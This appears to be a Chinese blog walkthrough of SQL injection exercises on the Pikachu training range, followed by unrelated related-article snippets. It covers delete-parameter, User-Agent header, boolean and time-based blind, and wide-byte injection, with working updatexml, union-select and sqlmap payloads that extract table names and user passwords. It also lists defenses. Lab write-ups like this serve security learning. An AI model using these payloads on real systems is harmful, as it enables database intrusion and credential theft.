pikachu靶场SQL-Inject中的“delete“注入、“http header“注入、盲注、宽字节注入

"delete"注入

在这里插入图片描述
抓包发现在留言时有message=hhhh'&submit=submit两个参数,但并未涉及到数据库操作。除此之外,在删除留言时URL中拼接了?id的参数
在这里插入图片描述
构造?id=59'有报错回显
在这里插入图片描述

利用报错注入函数来查询数据,有空格编译不通过,要绕过一下
在这里插入图片描述

  1. 查数据库名
GET /vul/sqli/sqli_del.php?id=59%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1) HTTP/1.1
  1. 查表名
GET /vul/sqli/sqli_del.php?id=59%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),0x7e),1) HTTP/1.1

使用substr()函数获取剩余内容

GET /vul/sqli/sqli_del.php?id=59%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),32,31),0x7e),1) HTTP/1.1
  1. 查列名和查数据操作同上

"http header"注入

在这里插入图片描述
尝试登录,利用之前得到的admin/123456进行登录
在这里插入图片描述
在这里插入图片描述

在UA后面拼接报错注入语句

  1. 查数据库名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
  1. 查表名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '

在这里插入图片描述
报错感觉是因为某些字符串引起的(and?)。改代码为下即可查表(显示不完整,需要使用substr()函数)

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
  1. 快进到查用户数据
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(id,':',username,':',password) from  pikachu.users),0x7e),1) or '

盲注(base on boolian)

在这里插入图片描述

输入vince',提示用户名不存在输入vince'#正常回显vince的查询结果,为字符型注入。因为回显只有正常回显和不存在两种结果需要逐个测试

  1. 查数据库名,要先查长度

    • 查数据库名长度
    vince' and length(database())>8#
    

    在这里插入图片描述
    逐个测试得到数据库名称长度为7

    vince' and length(database())=7#
    

    在这里插入图片描述

    • 查数据库名
    vince' and ascii(substr(database(),1,1))=112#      第一位为p
    vince' and ascii(substr(database(),2,1))=105#      第二位为i
    vince' and ascii(substr(database(),3,1))=107#      第三位为k
    vince' and ascii(substr(database(),4,1))=97#      第四位为a
    vince' and ascii(substr(database(),5,1))=99#      第五位为c
    vince' and ascii(substr(database(),6,1))=104#      第六位为h
    vince' and ascii(substr(database(),7,1))=117#      第七位为u
    pikachu
    
  2. 查表名

    • 查有几个表
    vince' and (select count(table_name) from information_schema.tables where table_schema=database())=5#   5个表
    
    • 查每个表的名称以及长度,略过
    • 查列名
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117#  u 利用limit来定位到要查的表
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115#  s
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),3,1))=101#  e
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),4,1))=114#  r
    vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115#  s
    users
    
  3. 查列名以及数据
    借助一下sqlmap工具,sqlmap指定technique为B测不出结果,不指定technique会检测为时间盲注类型,可以测出结果,还能解密MD5在这里插入图片描述
    其中遇到一些问题导致时间盲注一直卡着,再跑的时候加上 –random-agent和–keep-alive参数。
    在这里插入图片描述

盲注(base on time)

时间盲注同样是没有可显回显来利用,而利用响应时间来判断使用if语句判断猜解信息是否正确,正确的话通过使用sleep()函数使网页延迟响应,错误的话就立即响应

  1. 找注入点

    python sqlmap.py -u "http://ip:9002/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" --keep-alive --random-agent --batch
    

    在这里插入图片描述

  2. 查数据库名

    python sqlmap.py -u "http://ip:9002/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" --keep-alive --random-agent --dbs --batch
    

    在这里插入图片描述

  3. 查表名

    python sqlmap.py -u "http://ip:9002/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" --keep-alive --random-agent -D pikachu --tables --batch
    

    接着是同样的操作查列名以及拖库

宽字节注入

宽字节注入(Wide Byte Injection)是一种针对某些使用双字节字符集(如 GBK、Shift-JIS 或 Big5 等)编码的应用程序的SQL注入技术。宽字节字符集允许在某些语言(如中文、日文等)中表示更多字符,这导致可能的安全漏洞。

通常,SQL注入攻击通过插入恶意SQL语句来操纵数据库的查询。如果应用程序未正确处理输入,攻击者可能会利用这种漏洞。

在宽字节注入中,攻击者利用的是这些双字节字符编码的特性:双字节字符编码的第一个字节范围为 0x81-0xFE,而第二个字节可以为任意字符(例如 0x40-0xFE)。如果应用程序没有正确转义输入数据,攻击者可以使用部分的双字节字符来逃避过滤,并生成恶意的SQL代码。

  • 关键过程:

    • 双字节字符编码的特性:例如,字符 \ 在某些编码中与后续字符一起会被解释为一个双字节字符,从而改变字符序列的含义。
    • 编码注入:攻击者可能会将特殊字符作为双字节字符的第二部分进行输入,绕过数据库过滤器或应用程序的输入验证,导致SQL注入。
  • 举例:
    假设应用程序使用的是 GBK 编码并且存在SQL注入漏洞。如果攻击者输入 %df' OR '1'='1,其中 %df 是双字节字符的第一个字节,而 ' OR '1'='1 作为注入的SQL语句,在某些情况下可能会成功绕过过滤规则,从而达到注入的目的。

  • 防御方法:

    • 使用预编译语句(Prepared Statements):预编译的SQL查询不会将用户输入的数据直接插入到SQL语句中,避免了注入的可能性。
    • 适当转义和过滤:确保对所有输入进行正确的转义和验证,特别是在处理多字节字符集时。
    • 强制使用安全的字符集:例如 UTF-8,它具有更好的安全特性,并且减少了多字节编码引发的潜在漏洞。

本题中可以用%df' or 1=1 #作为payload,此外本题好像还有前端验证?需要抓包修改提交值的内容才可以成功
payload:name=%df' or 1=1 #&submit=%E6%9F%A5%E8%AF%A

  1. 查表

    name=%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&submit=%E6%9F%A5%E8%AF%A
    
  2. 查列名

    name=%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#&submit=%E6%9F%A5%E8%AF%A
    
  3. 查user和password

    name=%df' union select (select group_concat(username,0x3b,password) from users),2#&submit=%E6%9F%A5%E8%AF%A
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/894298.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Agent智能体?我们要的到底是什么

What is an agent? ❝ 近年来,大型语言模型(LLM)的能力越来越强,应用范围也越来越广泛,其中一个热门方向就是智能体(Agent)。但在这一切的背后,我们真正追求的是什么?是…

SSM框架学习(七、MyBatis-Plus高级用法:最优化持久层开发)

目录 一、MyBatis-Plus快速入门 1.简介 2.快速入门 二、MyBatis-Plus核心功能 1.基于Mapper接口CRUD (1)Insert 方法 (2)Delete方法 (3)Update 方法 (4)Select方法 2.基于Serv…

解决在Windows中安装tensorflow2.10无法检测到GPU的问题

解决在Windows中安装tensorflow2.10无法检测到GPU的问题 官方给出的Windows本地安装方式 更新显卡驱动到最新。安装anaconda或miniconda作为python环境的管理工具。创建新的环境tf:conda create --name tf python3.9,然后进入改环境:conda …

【学习笔记】理解 C++ 中 reinterpret_cast 和 C 风格类型转换的区别

【学习笔记】理解 C 中 reinterpret_cast 和 C 风格类型转换的区别 在 C 中,类型转换是一个常见的操作,特别是当我们需要在不同类型之间进行数据操作时。本篇笔记将通过两个具体的例子来讨论 reinterpret_cast 和 C 风格的类型转换的区别。 示例 1&…

【uniapp】设置公共样式,实现公共背景等

目录 1、 全局渐变背景色 2.1 创建common目录 2.2 在common下新建style和images等目录 2.3 在style下新建common-style.scss 2.4 common-style输入全局渐变颜色 2.5 引入样式 2.6 业务页面引入 2.7 展示 2、全局字体颜色 2.1 新建base-style.scss文件 2.2 设置base-…

【动手学深度学习】7.6. 残差网络(ResNet)(个人向笔记)

1. ResNet精读论文视频的Introduction部分 深度卷积神经网络好,好在可以叠加很多层,每一层都可以提取不一样的特征但是网络特别深的时候,梯度要么爆炸要么消失,我们能做的就是将参数随机初始化做好,或者是在中间加一些…

ai聊天对话页面-uniapp

流式传输打字机效果,只支持uniapp内使用 ,下载地址 https://download.csdn.net/download/qq_54123885/89899859

Java基于SpringBoot微信小程序的跳蚤市场系统设计与实现(lw+数据库+讲解等)

项目运行截图 技术框架 后端采用SpringBoot框架 Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的开源框架。它采用约定大于配置的理念,提供了一套默认的配置,让开发者可以更专注于业务逻辑而不是配置文件。Spring Boot 通过自动化配置和约…

WT2003H语音芯片MCU下载方案助力电动车智能化升级:实现多功能语音提示+报警功能

一:产品市场 随着科技的发展,电瓶车在技术革新上也在不断进步,如今许多厂家,都会加入语音提示功能,能在倒车、喇叭、故障时发出语音报警,提示骑行者电量不足、倒车请注意、故障语音提示等;唯创…

微信小程序引入组件教程

1、安装 node.js 下载网址:https://nodejs.org 2.通过 npm 安装 npm init -y npm i vant/weapp -S --production 3、修改 app.json 将 app.json 中的 “style”: “v2” 去除 4、修改 project.config.json 关于修改 project.config.json 的详细内容&#x…

Linux系统重建Grub引导的方法

一、问题出现的原因 在安装双系统时,我们都是先安装Windows系统,再安装Linux系统,这样在启动计算机时,两个系统都可以被引导启动,并在开机界面可以进行选择。这是因为Linux使用的操作系统引导加载器Grub可以引导如Win…

Qt- QSS风格选择器常用属性选择器样式表盒子

1. 风格设置 Qt 提供了 3 种整体风格,使用 QStyleFactory::keys() 来获取 (windowsvista 、Windows 、Fusion) 可以在 main.cpp 中调用 setStyle 方法对应用程序进行全局风格的设置 int main(int argc, char *argv[]) {QApplication a(arg…

Unity中使用Json导入项目无法识别Newtonsoft.Json

Unity导入项目无法识别Newtonsoft.Json 因为项目中用到了JSON解析,所以引入了一个解析类库 using Newtonsoft.Json.Linq; 换了台设备之后,导入这个项目之后,这个引用就标红了,找不到类库。 因为是C#报错所以研究了半天visual stu…

自动驾驶系列—深入解析自动驾驶系统验车平台:确保车辆交付质量的关键工具

🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…

LeetCode刷题日记之贪心算法(二)

目录 前言买卖股票的最佳时机II跳跃游戏跳跃游戏II总结 前言 在上一篇贪心算法的学习中,我们探讨了贪心算法的基本思路和逻辑框架。在这篇文章中,我将继续分享几道经典的LeetCode贪心算法题,并探讨其背后的解题思路和技巧。希望通过这些题目…

Java入门-创建对象

Java包管理器 包(package)的导入 Java体系非常庞大,为了管理更多的代码互不侵犯,采用了一个叫“包管理”的机制来管理代码,简单来说就是把不同的Java代码放在不同的文件夹里,这个文件夹就是“包”。对于使…

【Linux】【命令】查找(grep/find)与统计(wc)

查找与统计 grepfindwcExamples grep grep 命令用于在文件中或者标准输出中搜索特定字符串,并显示匹配结果。 grep 全称:Global Regular Expression Print 基本语法: grep [OPTION]... PATTERN [FILE] ...默认情况下,PATTERN 是…

Agentic RAG(基于智能体的检索增强生成)是检索增强生成(Retrieval-Augmented Generation,RAG)技术的一种高级形式

Agentic RAG(基于智能体的检索增强生成)是检索增强生成(Retrieval-Augmented Generation,RAG)技术的一种高级形式,它通过引入人工智能代理(Agent)的概念,为语言模型赋予了…

2024.10月18日- Vue2组件开发(3)

Vue组件开发 一、 ref属性 如果在vue里,想要获取DOM对象,并且不想使用JS的原生语法,那么就可以使用ref属性。ref属性的用法: 1)在HTML元素的开始标记中,或者在Vue子组件中的开始标记中定义,相…

Pytest参数详解 — 基于命令行模式!

1、--collect-only 查看在给定的配置下哪些测试用例会被执行 2、-k 使用表达式来指定希望运行的测试用例。如果测试名是唯一的或者多个测试名的前缀或者后缀相同,可以使用表达式来快速定位,例如: 命令行-k参数.png 3、-m 标记(…